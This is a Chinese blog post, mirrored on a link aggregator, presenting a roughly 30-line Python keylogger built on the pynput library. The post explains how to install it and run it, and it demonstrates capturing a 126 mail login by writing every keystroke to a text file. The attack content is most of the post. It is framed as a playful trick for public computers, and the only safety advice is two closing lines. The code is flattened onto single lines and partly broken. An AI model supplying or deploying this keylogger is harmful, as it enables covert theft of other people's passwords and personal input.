6

python你TM太皮了——区区30行代码就能记录键盘的一举一动

 3 years ago
source link: https://blog.csdn.net/weixin_42350212/article/details/115399658
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

目录

先看看效果

一、公共WiFi 公用电脑什么的

二、键盘记录器

三、python代码实现

1、安装pynput模块

2、脚本完整代码

3、启动脚本

4、登录126邮箱 抓取用户信息

四、安全提示


先看看效果

Like This↓

图片

一、公共WiFi 公用电脑什么的

在我们日常在线上工作、玩耍时,不论开电脑、登录淘宝、玩网游

统统都会用到键盘输入

在几乎所有网站,例如淘宝、百度、126邮箱等等

为了保护用户信息

登录时,输入框都是不可见的。

但是,输入框都在界面上隐藏,让我们看不到,就能真正的确保万无一失吗?

图片

二、键盘记录器

今天介绍一种,通过键盘记录的方法,获取用户通过键盘输入的所有信息

并实现获取126邮箱的登录用户信息。

图片

三、python代码实现

1、安装pynput模块

PS C:\WINDOWS\system32> pip install pynput            Collecting pynput  Downloading pynput-1.7.2-py2.py3-none-any.whl (99 kB)     |████████████████████████████████| 99 kB 51 kB/sRequirement already satisfied: six in d:\python36\lib\site-packages (from pynput) (1.12.0)Installing collected packages: pynputSuccessfully installed pynput-1.7.2PS C:\WINDOWS\system32>

图片

2、脚本完整代码

# -*- coding:utf-8 -*-  from pynput.keyboard import Key, Controller,Listenerimport timekeyboard = Controller()keys=[]def on_press(key):    string = str(key).replace("'","")
def on_release(key):    global keys    string = str(key).replace("'","")    keys.append('\r'+string)    main_string = "".join(keys)    print(main_string)    if len(main_string)>15:      with open('D:\keys.txt', 'a') as f:          f.write(main_string)             keys= []    with Listener(on_press=on_press,on_release=on_release) as listener:    listener.join()

3、启动脚本

将脚本放置在电脑的某个路径下,运行该程序;所有的键盘输入,都会被记录在相同目录下的keys.txt文档中。

PS D:\test> python .\keyRecord.py

图片

4、登录126邮箱 抓取用户信息

在脚本运行状态下,登录126邮箱,可以看到,通过键盘输入的信息都被写入到了keys.txt文档中,包括用户名输完之后的tab按钮和确定enter登录按钮

图片

四、安全提示

陌生WiFi不要随便连

陌生电脑不要随便用

emmmm~~~~


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK